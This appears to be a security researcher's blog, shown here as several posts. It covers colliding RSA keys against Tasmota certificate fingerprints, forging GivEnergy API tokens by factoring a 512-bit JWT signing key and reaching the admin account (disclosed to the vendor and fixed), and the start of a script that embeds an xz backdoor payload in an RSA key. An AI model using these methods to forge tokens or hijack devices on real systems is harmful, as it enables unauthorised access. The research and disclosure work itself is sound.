103	<span class="pgcssn">filename</span> <span class="pgcsso">=</span> <span class="pgcsss1">'</span><span class="pgcsssi">%s</span><span class="pgcsss1">_e</span><span class="pgcsssi">%04u</span><span class="pgcsss1">_p</span><span class="pgcsssi">%02u</span><span class="pgcsss1">'</span> <span class="pgcsso">%</span> <span class="pgcssp">(</span><span class="pgcssn">fp</span><span class="pgcssp">,</span> <span class="pgcssnb">int</span><span class="pgcsso">.</span><span class="pgcssn">bit_length</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">),</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">))</span>
104	`<span class="pgcssk">try</span><span class="pgcssp">:</span>`
105	`<span class="pgcssn">b64</span> <span class="pgcsso">=</span> <span class="pgcssn">base64</span><span class="pgcsso">.</span><span class="pgcssn">b64encode</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcsso">.</span><span class="pgcssn">der</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">decode</span><span class="pgcssp">()</span>`
106	<span class="pgcssn">b64</span> <span class="pgcsso">=</span> <span class="pgcsss1">'</span><span class="pgcssse">\n</span><span class="pgcsss1">'</span><span class="pgcsso">.</span><span class="pgcssn">join</span><span class="pgcssp">(</span><span class="pgcssn">b64</span><span class="pgcssp">[</span><span class="pgcssn">i</span><span class="pgcssp">:</span><span class="pgcssn">i</span><span class="pgcsso">+</span><span class="pgcssmi">64</span><span class="pgcssp">]</span> <span class="pgcssk">for</span> <span class="pgcssn">i</span> <span class="pgcssow">in</span> <span class="pgcssnb">range</span><span class="pgcssp">(</span><span class="pgcssmi">0</span><span class="pgcssp">,</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">b64</span><span class="pgcssp">),</span> <span class="pgcssmi">64</span><span class="pgcssp">))</span>
107	`<span class="pgcssn">pem</span> <span class="pgcsso">=</span> <span class="pgcsss1">'-----BEGIN </span><span class="pgcsssi">{text}</span><span class="pgcsss1">-----</span><span class="pgcssse">\n</span><span class="pgcsssi">{b64}</span><span class="pgcssse">\n</span><span class="pgcsss1">-----END </span><span class="pgcsssi">{text}</span><span class="pgcsss1">-----</span><span class="pgcssse">\n</span><span class="pgcsss1">'</span>`
108	`<span class="pgcssn">pem</span> <span class="pgcsso">=</span> <span class="pgcssn">pem</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">b64</span><span class="pgcsso">=</span><span class="pgcssn">b64</span><span class="pgcssp">,</span> <span class="pgcssn">text</span><span class="pgcsso">=</span><span class="pgcsss1">'RSA PRIVATE KEY'</span><span class="pgcssp">)</span>`
109	`<span class="pgcssn">keypair_text</span> <span class="pgcsso">=</span> <span class="pgcssn">keypair</span><span class="pgcssp">(</span><span class="pgcssn">key</span><span class="pgcssp">)</span>`
110	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">'Writing keypair to </span><span class="pgcsssi">{}</span><span class="pgcsss1">'</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">filename</span><span class="pgcsso">+</span><span class="pgcsss1">'.pem'</span><span class="pgcssp">))</span>`
111	`<span class="pgcssk">with</span> <span class="pgcssnb">open</span><span class="pgcssp">(</span><span class="pgcssn">filename</span><span class="pgcsso">+</span><span class="pgcsss1">'.pem'</span><span class="pgcssp">,</span> <span class="pgcsss1">'w'</span><span class="pgcssp">)</span> <span class="pgcssk">as</span> <span class="pgcssn">out</span><span class="pgcssp">:</span>`
112	`<span class="pgcssn">out</span><span class="pgcsso">.</span><span class="pgcssn">write</span><span class="pgcssp">(</span><span class="pgcssn">keypair_text</span><span class="pgcssp">)</span>`
113	`<span class="pgcssk">except</span> <span class="pgcssne">Exception</span> <span class="pgcssk">as</span> <span class="pgcssn">e</span><span class="pgcssp">:</span>`
114	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">)</span>`
115	`<span class="pgcssk">if</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)</span> <span class="pgcsso">></span> <span class="pgcssmi">5</span><span class="pgcssp">:</span>`
116	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">'You may need to patch OpenSSL to allow more than 5 primes.'</span><span class="pgcssp">)</span>`
117	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">'Writing keypair to </span><span class="pgcsssi">{}</span><span class="pgcsss1">'</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">filename</span><span class="pgcsso">+</span><span class="pgcsss1">'.key'</span><span class="pgcssp">))</span>`
118	`<span class="pgcssk">with</span> <span class="pgcssnb">open</span><span class="pgcssp">(</span><span class="pgcssn">filename</span><span class="pgcsso">+</span><span class="pgcsss1">'.key'</span><span class="pgcssp">,</span> <span class="pgcsss1">'w'</span><span class="pgcssp">)</span> <span class="pgcssk">as</span> <span class="pgcssn">out</span><span class="pgcssp">:</span>`
119	`<span class="pgcssn">out</span><span class="pgcsso">.</span><span class="pgcssn">write</span><span class="pgcssp">(</span><span class="pgcssn">key</span><span class="pgcsso">.</span><span class="pgcssn">pem</span><span class="pgcssp">)</span>`

Theory is all well and good, but does this actually work on real world keys? How about this key for nsa.gov?

Subject: CN = www.defense.gov

Subject Public Key Info:

    Public Key Algorithm: rsaEncryption

        RSA Public-Key: (2048 bit)

        Modulus:

            00:c9:4b:58:d1:e7:1a:ce:4b:a7:b9:63:f7:15:52:

            ef:0f:e8:21:cb:96:35:93:e3:d7:9b:6e:6d:6f:91:

            93:0e:7e:f9:5b:1c:9b:2d:45:d7:eb:01:18:3b:26:

            c8:ee:8d:93:49:ba:1a:ec:92:c6:7c:ef:14:41:11:

            34:4a:36:e7:7e:94:6e:95:14:4e:87:63:cd:76:8e:

            c1:a9:8f:50:c2:9e:95:83:e9:97:a5:4b:d1:c5:d4:

            af:fe:af:34:8d:f4:2b:39:b5:41:8f:e7:dd:76:9a:

            4d:81:e2:c2:2f:a4:61:18:47:6b:eb:ab:78:b0:5b:

            8a:51:0d:69:c6:7b:eb:f6:48:90:05:7f:fe:5f:c8:

            92:a3:8c:f6:51:c1:45:ce:27:51:2f:c9:c8:e4:b3:

            2f:bc:49:95:dc:71:f1:62:c3:d9:8f:3f:b8:8f:57:

            9c:c6:58:2b:d3:cb:75:ab:83:ae:ef:fb:9d:49:d4:

            05:b3:1a:e0:62:c5:be:d4:3e:a9:d5:55:f6:eb:92:

            94:59:83:7d:45:ef:99:42:6d:0e:15:b7:90:7b:64:

            ca:90:ac:19:70:07:d6:7c:25:f9:6c:e8:a9:29:07:

            a3:12:dd:67:e1:b1:93:62:00:6b:cd:37:30:63:8a:

            99:17:48:dc:dd:8d:a7:c9:b3:eb:7c:b9:1f:43:f3:

            74:01

        Exponent: 65537 (0x10001)

This serializes out to 7373682d727361010001c94b58d1...f37401, and Tasmota’s fingerprint for it is:

87 55 2E C2 AF 2F F3 2A A7 BE A8 71 B7 69 F7 B6 09 FC 97 A2

The cracker I wrote successfully factored a colliding key in less than a minute.

Subject: CN = www.defense.gov

Subject Public Key Info:

    Public Key Algorithm: rsaEncryption

        RSA Public-Key: (1176 bit)

        Modulus:

                        00:a4:61:18:47:6b:eb:ab:78:b0:5b:

            8a:51:0d:69:c6:7b:eb:f6:48:90:05:7f:fe:5f:c8:

            92:a3:8c:f6:51:c1:45:ce:27:51:2f:c9:c8:e4:b3:

            2f:bc:49:95:dc:71:f1:62:c3:d9:8f:3f:b8:8f:57:

            9c:c6:58:2b:d3:cb:75:ab:83:ae:ef:fb:9d:49:d4:

            05:b3:1a:e0:62:c5:be:d4:3e:a9:d5:55:f6:eb:92:

            94:59:83:7d:45:ef:99:42:6d:0e:15:b7:90:7b:64:

            ca:90:ac:19:70:07:d6:7c:25:f9:6c:e8:a9:29:07:

            a3:12:dd:67:e1:b1:93:62:00:6b:cd:37:30:63:8a:

            99:17:48:dc:dd:8d:a7:c9:b3:eb:7c:b9:1f:43:f3:

            74:01

        Exponent:

            01:00:01:c9:4b:58:d1:e7:1a:ce:4b:a7:b9:63:f7:

            15:52:ef:0f:e8:21:cb:96:35:93:e3:d7:9b:6e:6d:

            6f:91:93:0e:7e:f9:5b:1c:9b:2d:45:d7:eb:01:18:

            3b:26:c8:ee:8d:93:49:ba:1a:ec:92:c6:7c:ef:14:

            41:11:34:4a:36:e7:7e:94:6e:95:14:4e:87:63:cd:

            76:8e:c1:a9:8f:50:c2:9e:95:83:e9:97:a5:4b:d1:

            c5:d4:af:fe:af:34:8d:f4:2b:39:b5:41:8f:e7:dd:

            76:9a:4d:81:e2:c2:2f

The factors are 13, 1,091, 15,032,926,429, and a 340 digit prime that doesn’t need to be printed here.

Postscript

I ended up submitting a patch to Tasmota that did an in-place upgrade of the fingerprint while maintaining backwards compatibility and still mitigating the attack. Details can be found in Tasmota’s issue tracker: https://github.com/arendst/Tasmota/issues/10571

Hacking a Virtual Power Plant

2024-08-07T21:53:00+01:00

I recently had solar panels and a battery storage system from GivEnergy installed at my house. A major selling point for me was that they have a local network API which can be used to monitor and control everything without relying on their cloud services. My plan is to set up Home Assistant and integrate it with that, but in the meantime, I decided to let it talk to the cloud. I set up some scheduled charging, then started experimenting with the API.

The next evening, I had control over a virtual power plant comprised of tens of thousands of grid connected batteries.

Trying Out the API

When I went to generate an API token, I was pleasantly surprised to find options for expiration time and fine-grained control over permissions. I clicked “generate”, and got:

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.<wbr>eyJhdWQiOiJjMWI4NWFmYS1lMzIyLTQ3NTAtYTQyMi01NDQxYjNkNjgzYzIiLCJqdGkiOiJhZDI5ZTViNDM3OTBkNmZhY2Q2YWRjOGUxMjE0YjI0YzcwYTZhMWE3YzJmZDc5YzRhODBjMmVjNzU4YmViMDNhOGM2ZTE4MWFlMTk3YmU5NyIsImlhdCI6MTcyMDM3ODAxMi4wMjg4NTgsIm5iZiI6MTcyMDM3ODAxMi4wMjg4NjEsImV4cCI6MTcyMDk4MjgxMi4wMTg5NzIsInN1YiI6IjMxMzM3Iiwic2NvcGVzIjpbImFwaSJdfQ.<wbr>Q8UVWQ__jNd11u6tonBnu75idIwam9vrLXObdkD3R0ynXK30tBW-<wbr>9MwujEC-<wbr>NQZFNLuE9riMGrP30VPSFGhTlw

From the eyJ prefix, I recognized a base64 encoded JSON object. Upon closer inspection, it turned out to be two JSON objects and some binary data, separated by periods:

<span class="pgcssp">{</span><span class="pgcssnt">&quot;typ&quot;</span><span class="pgcssp">:</span><span class="pgcsss2">&quot;JWT&quot;</span><span class="pgcssp">,</span><span class="pgcssnt">&quot;alg&quot;</span><span class="pgcssp">:</span><span class="pgcsss2">&quot;RS256&quot;</span><span class="pgcssp">}</span>

<span class="pgcssp">{<wbr></span><span class="pgcssnt">"<wbr>aud"<wbr></span><span class="pgcssp">:<wbr></span><span class="pgcsss2">"<wbr>c1b85afa-<wbr>e322-<wbr>4750-<wbr>a422-<wbr>5441b3d683c2"<wbr></span><span class="pgcssp">,<wbr></span><span class="pgcssnt">"<wbr>jti"<wbr></span><span class="pgcssp">:<wbr></span><span class="pgcsss2">"<wbr>ad29e5b43790d6facd6adc8e1214b24c70a6a1a7c2fd79c4a80c2ec758beb03a8c6e181ae197be97"<wbr></span><span class="pgcssp">,<wbr></span><span class="pgcssnt">"<wbr>iat"<wbr></span><span class="pgcssp">:<wbr></span><span class="pgcssmf">1720378012.<wbr>028858</span><span class="pgcssp">,<wbr></span><span class="pgcssnt">"<wbr>nbf"<wbr></span><span class="pgcssp">:<wbr></span><span class="pgcssmf">1720378012.<wbr>028861</span><span class="pgcssp">,<wbr></span><span class="pgcssnt">"<wbr>exp"<wbr></span><span class="pgcssp">:<wbr></span><span class="pgcssmf">1720982812.<wbr>018972</span><span class="pgcssp">,<wbr></span><span class="pgcssnt">"<wbr>sub"<wbr></span><span class="pgcssp">:<wbr></span><span class="pgcsss2">"<wbr>31337"<wbr></span><span class="pgcssp">,<wbr></span><span class="pgcssnt">"<wbr>scopes"<wbr></span><span class="pgcssp">:<wbr>[<wbr></span><span class="pgcsss2">"<wbr>api"<wbr></span><span class="pgcssp">]<wbr>}<wbr></span>

<span class="pgcssnl">00000000</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcssmh">43</span><span class="pgcssw"> </span><span class="pgcssmh">c5</span><span class="pgcssw"> </span><span class="pgcssmh">15</span><span class="pgcssw"> </span><span class="pgcssmh">59</span><span class="pgcssw"> </span><span class="pgcssmh">0f</span><span class="pgcssw"> </span><span class="pgcssmh">be</span><span class="pgcssw"> </span><span class="pgcssmh">8c</span><span class="pgcssw"> </span><span class="pgcssmh">d7</span><span class="pgcssw"> </span><span class="pgcssmh">75</span><span class="pgcssw"> </span><span class="pgcssmh">d6</span><span class="pgcssw"> </span><span class="pgcssmh">ee</span><span class="pgcssw"> </span><span class="pgcssmh">ad</span><span class="pgcssw"> </span><span class="pgcssmh">a2</span><span class="pgcssw"> </span><span class="pgcssmh">70</span><span class="pgcssw"> </span><span class="pgcssmh">67</span><span class="pgcssw"> </span><span class="pgcssmh">bb</span><span class="pgcssw">  </span><span class="pgcssp">|</span><span class="pgcsss">C..Y....u....pg.</span><span class="pgcssp">|</span>

<span class="pgcssnl">00000010</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcssmh">be</span><span class="pgcssw"> </span><span class="pgcssmh">62</span><span class="pgcssw"> </span><span class="pgcssmh">74</span><span class="pgcssw"> </span><span class="pgcssmh">8c</span><span class="pgcssw"> </span><span class="pgcssmh">1a</span><span class="pgcssw"> </span><span class="pgcssmh">9b</span><span class="pgcssw"> </span><span class="pgcssmh">db</span><span class="pgcssw"> </span><span class="pgcssmh">eb</span><span class="pgcssw"> </span><span class="pgcssmh">2d</span><span class="pgcssw"> </span><span class="pgcssmh">73</span><span class="pgcssw"> </span><span class="pgcssmh">9b</span><span class="pgcssw"> </span><span class="pgcssmh">76</span><span class="pgcssw"> </span><span class="pgcssmh">40</span><span class="pgcssw"> </span><span class="pgcssmh">f7</span><span class="pgcssw"> </span><span class="pgcssmh">47</span><span class="pgcssw"> </span><span class="pgcssmh">4c</span><span class="pgcssw">  </span><span class="pgcssp">|</span><span class="pgcsss">[email protected]</span><span class="pgcssp">|</span>

<span class="pgcssnl">00000020</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcssmh">a7</span><span class="pgcssw"> </span><span class="pgcssmh">5c</span><span class="pgcssw"> </span><span class="pgcssmh">ad</span><span class="pgcssw"> </span><span class="pgcssmh">f4</span><span class="pgcssw"> </span><span class="pgcssmh">b4</span><span class="pgcssw"> </span><span class="pgcssmh">15</span><span class="pgcssw"> </span><span class="pgcssmh">bf</span><span class="pgcssw"> </span><span class="pgcssmh">f4</span><span class="pgcssw"> </span><span class="pgcssmh">cc</span><span class="pgcssw"> </span><span class="pgcssmh">2e</span><span class="pgcssw"> </span><span class="pgcssmh">8c</span><span class="pgcssw"> </span><span class="pgcssmh">40</span><span class="pgcssw"> </span><span class="pgcssmh">bf</span><span class="pgcssw"> </span><span class="pgcssmh">35</span><span class="pgcssw"> </span><span class="pgcssmh">06</span><span class="pgcssw"> </span><span class="pgcssmh">45</span><span class="pgcssw">  </span><span class="pgcssp">|</span><span class="pgcsss">.\[email protected]</span><span class="pgcssp">|</span>

<span class="pgcssnl">00000030</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcssmh">34</span><span class="pgcssw"> </span><span class="pgcssmh">bb</span><span class="pgcssw"> </span><span class="pgcssmh">84</span><span class="pgcssw"> </span><span class="pgcssmh">f6</span><span class="pgcssw"> </span><span class="pgcssmh">b8</span><span class="pgcssw"> </span><span class="pgcssmh">8c</span><span class="pgcssw"> </span><span class="pgcssmh">1a</span><span class="pgcssw"> </span><span class="pgcssmh">b3</span><span class="pgcssw"> </span><span class="pgcssmh">f7</span><span class="pgcssw"> </span><span class="pgcssmh">d1</span><span class="pgcssw"> </span><span class="pgcssmh">53</span><span class="pgcssw"> </span><span class="pgcssmh">d2</span><span class="pgcssw"> </span><span class="pgcssmh">14</span><span class="pgcssw"> </span><span class="pgcssmh">68</span><span class="pgcssw"> </span><span class="pgcssmh">53</span><span class="pgcssw"> </span><span class="pgcssmh">97</span><span class="pgcssw">  </span><span class="pgcssp">|</span><span class="pgcsss">4.........S..hS.</span><span class="pgcssp">|</span>

More precisely, a JSON Web Token (JWT) signed with an RSA+SHA-256.

In the past, some JWT implementations allowed verification to be bypassed by changing the algorithm to “none”, so I tried that. It didn’t work, which was a relief. That signature though... 64 bytes? At eight bits per byte that’s 512 bits. But that would mean an easily crackable 512 bit RSA key. I hoped this wasn’t as bad as it seemed. Perhaps each account had a different key?

Signing Like It’s 1999

The first publicly known factorization of a 512 bit RSA modulus was completed in August of 1999.

[W]e estimate that within three years the algorithmic and computer technology which we used to factor RSA–155 will be widespread […]. This makes these keys useless for authentication or for the protection of data required to be secure for a period longer than a few days.

—Cavallar et al.

In 2009, several 512 bit RSA signing keys for Texas Instruments graphing calculators were cracked by hobbyists. The point was further driven home in 2015 by the factoring as a service paper:

In this paper, we present an improved implementation which is able to factor a 512-bit RSA key on Amazon EC2 in as little as four hours for $75.

—Valenta et al.

Despite this, many modern cryptography libraries still support using and even creating the these keys almost a decade later.

Recovering the Modulus

With the factors of the JWT private signing key, I could reconstruct the rest of the parameters and produce modified API tokens that should be accepted as valid. I’d factored eBay’s 512 bit DKIM key in April of 2012, so I had a pretty good idea of what to do. The problem was, I had nothing to factor. Just some signed data. Maybe I could use that to get what I needed?

Skip the rest of this section if you’re not interested in the math.

RSA needs three values to work, the modulus n, the private exponent d, and the public exponent e. An RSA signature is computed as s = m^d mod n — message m is raised to the power of d modulo n. It’s validated by checking that s^e mod n ≡ m. With the prime factors of n, it’s trivial to calculate d, and for a 512 bit key finding the prime factors is doable, but I didn’t have n or e. By convention, e is nearly always 65537, but I had no idea what n was. I do, however, know algebra.

Subtracting m from both sides of the signature verification equation gives s^e mod n − m ≡ 0. Since modular subtraction is associative, that also means that s^e − m mod n ≡ 0. The modulo operation finds the remainder, so s^e − m is an integer multiple of n. This is not useful on its own, but it means that with another message and signature, I’d have two different integer multiples of n. Running those through a GCD algorithm would give me n × x where x is a small integer, easily factored out by trial division.

This Isn’t Textbook RSA

The math above only covers “Textbook RSA” operating on raw numbers, which has a number of problems in practice. It can only operate on numbers smaller than the key’s modulus. The numbers also can’t be too small, otherwise various attacks are possible. To address this, the message is hashed and padded using PKCS #1 v1.5 encoding before being signed. Not wanting to deal with the encoding, I went looking for a pre-existing tool. After a few false starts, I found JWT-Key-Recovery, which quickly provided the modulus.

Cracking the Key

The modulus is generated by picking large prime numbers, usually denoted p and q, and multiplying them together. If you want more detail, please see my previous post, Artisnal RSA. The most efficient known algorithm for factoring the modulus back into primes is called general number field sieve (GNFS). This wasn’t my first time cracking an RSA key, but it’d been a while, so I found some instructions. I started cado-nfs on my workstation and let it run overnight. By the time I got done with work the next day, I was feeling impatient and rented a few hundred CPU cores to make it go faster. A few hours and a $70 compute bill later, I had the two prime numbers I needed.

Exploiting the Vulnerability

I used my own tool to generate the private key, made a trivial change to my API token, signed it, and made a request. It worked. I still wasn’t sure whether the key was specific to my account, so I needed another to try.

The easy way would have been to just try a random account id, but that would expose that customer’s personal information, which would be a bit rude to say the least. Poking around a bit, I noticed “View Demo Dashboard” on the login page. That’d do. A few minutes of fiddling with developer tools and I had the account id.

Changing the API token, I requested “my” account details:

<span class="pgcssp">{</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;address&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;Unit C4 Fenton Trade Park&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;country&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;UNITED_KINGDOM&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;email&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;████@givenergy.co.uk&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;first_name&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;Demo&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;id&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcssmi">8533</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;name&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;DemoAccount20&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;postcode&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;ST4 2TE&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;role&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;VIEWER&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;standard_timezone&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;Europe/London&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;surname&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;User&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;telephone_number&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;███████████&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;timezone&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;GMT&quot;</span>

<span class="pgcssp">}</span>

The account ids seemed to be sequential, so I could just change that and access any of them. I had another look at the API documentation and saw there were some methods limited to “engineer+”. Plus? I tried setting the account id to “1”, figuring it’d probably be an admin account. Indeed it was, and seemingly subject to no permissions checks, as I could access data for my own system from it.

All your battery are belong to us.

The Vendor Response

Just before bed on July 8^th I sent off an email to their head of security[1] politely explaining what I’d done and why it was a problem. I included the following as proof:

<span class="pgcssp">{</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;address&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;Unit 1 Osprey House, Brymbo Road&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;country&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;UNITED_KINGDOM&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;email&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;███████@givenergy.co.uk&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;first_name&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;Giv&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;id&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcssmi">1</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;name&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;Givenergy01&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;postcode&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;ST5 9HX&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;role&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;ADMIN&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;standard_timezone&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;Europe/London&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;surname&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;Energy&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;telephone_number&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;███████████&quot;</span><span class="pgcssp">,</span>

<span class="pgcssw">  </span><span class="pgcssnt">&quot;timezone&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;GMT&quot;</span>

<span class="pgcssp">}</span>

A response was waiting for me in the morning, thanking me and making it clear that they were taking it seriously and a fix was their top priority.

I followed up thanking them for the update, and offering to confirm their fix for them when it was ready.

Their CTO followed up late that evening, thanking me again and asking if he could take me up on my offer to test their fix. Which was already deployed.

They did what now? I read the email again. Twice. I did some testing. They’d switch to a 4096 bit RSA key, but not only was I no longer able to mint my own API tokens, the legitimate ones I’d initially generated still worked. Was I dreaming?

My confirmation led with:

Wow, this is by far the best vendor response I’ve ever seen.

Seriously. A+++++ would tell them I pwned their stuff again.

They’ve posted their take on the issue.

The Bigger Picture

Expecting developers to know that 512 bit RSA is insecure clearly doesn’t work. They’re not cryptographers. This is not their job. The failure wasn’t that someone used 512 bit RSA. It was that a library they were relying on let them.

I’m in favor of task-oriented cryptography libraries which provide tools to solve problems without forcing non-experts to make security decisions.

Python’s cryptography library has been working to provide this, as well as the low level stuff for when it’s needed - they call it “hazmat”. It comes with a warning:

This is a “Hazardous Materials” module. You should ONLY use it if you’re 100% absolutely sure that you know what you’re doing because this module is full of land mines, dragons, and dinosaurs with laser guns.

Support for 512 bit RSA is a land mine, but it’s one that can be defused.

I’m now working to get major cryptography libraries to drop support for it.

Python’s cryptography library did so coincidentally in a release a few weeks ago (the commit was in January).

I’ve submitted a pull request to OpenSSL.

Similar changes for Go’s crypto library are now under discussion.

These changes will take some time to become widely distributed, but eventually people will no longer make this mistake.

This blog post was covered in Ars Technica.

Putting an xz Backdoor Payload in a Valid RSA Key

2024-04-03T17:55:00+01:00

Last week, a backdoor was discovered in xz-utils. The backdoor processes commands sent using RSA public keys as a covert channel. In order to prevent anyone else from using the backdoor, the threat actor implemented a cryptographic signature check on the payload.

I have seen a number of people claim that this would necessarily result in an obviously invalid RSA public key, or at least one with no corresponding private key.

This is incorrect, and someone nerd sniped me into proving it.

xzbot.py
1	`<span class="pgcssch">#!/usr/bin/env python3</span>`
2
3	`<span class="pgcssc1"># python standard library imports</span>`
4	`<span class="pgcsskn">from</span> <span class="pgcssnn">os</span> <span class="pgcsskn">import</span> <span class="pgcssn">urandom</span>`
5	`<span class="pgcsskn">from</span> <span class="pgcssnn">sys</span> <span class="pgcsskn">import</span> <span class="pgcssn">argv</span><span class="pgcssp">,</span> <span class="pgcssn">exit</span><span class="pgcssp">,</span> <span class="pgcssn">stderr</span>`
6
7	`<span class="pgcsskn">from</span> <span class="pgcssnn">hashlib</span> <span class="pgcsskn">import</span> <span class="pgcssn">sha256</span>`
8	`<span class="pgcsskn">from</span> <span class="pgcssnn">base64</span> <span class="pgcsskn">import</span> <span class="pgcssn">b64decode</span> <span class="pgcssk">as</span> <span class="pgcssn">b64d</span>`
9	`<span class="pgcsskn">from</span> <span class="pgcssnn">struct</span> <span class="pgcsskn">import</span> <span class="pgcssn">pack_into</span><span class="pgcssp">,</span> <span class="pgcssn">unpack_from</span>`
10
11	`<span class="pgcssc1"># third party imports</span>`
12	`<span class="pgcsskn">from</span> <span class="pgcssnn">gmpy2</span> <span class="pgcsskn">import</span> <span class="pgcssn">mpz</span><span class="pgcssp">,</span> <span class="pgcssn">next_prime</span><span class="pgcssp">,</span> <span class="pgcssn">invert</span><span class="pgcssp">,</span> <span class="pgcssn">lcm</span><span class="pgcssp">,</span> <span class="pgcssn">gcd</span><span class="pgcssp">,</span> <span class="pgcssn">c_div</span>`
13
14	`<span class="pgcssc1"># i ain't 'fraid of no land mines, dragons, or dinosaurs with laser guns</span>`
15	`<span class="pgcsskn">from</span> <span class="pgcssnn">cryptography.hazmat.primitives.asymmetric.rsa</span> <span class="pgcsskn">import</span> <span class="pgcssn">generate_private_key</span> <span class="pgcssk">as</span> <span class="pgcssn">rsa_generate</span>`
16	`<span class="pgcsskn">from</span> <span class="pgcssnn">cryptography.hazmat.primitives.asymmetric.rsa</span> <span class="pgcsskn">import</span> <span class="pgcssn">RSAPrivateNumbers</span><span class="pgcssp">,</span> <span class="pgcssn">RSAPublicNumbers</span>`
17	`<span class="pgcsskn">from</span> <span class="pgcssnn">cryptography.hazmat.primitives.asymmetric.ed448</span> <span class="pgcsskn">import</span> <span class="pgcssn">Ed448PrivateKey</span>`
18
19	`<span class="pgcsskn">from</span> <span class="pgcssnn">cryptography.hazmat.primitives.ciphers.algorithms</span> <span class="pgcsskn">import</span> <span class="pgcssn">ChaCha20</span>`
20	`<span class="pgcsskn">from</span> <span class="pgcssnn">cryptography.hazmat.primitives.ciphers</span> <span class="pgcsskn">import</span> <span class="pgcssn">Cipher</span>`
21
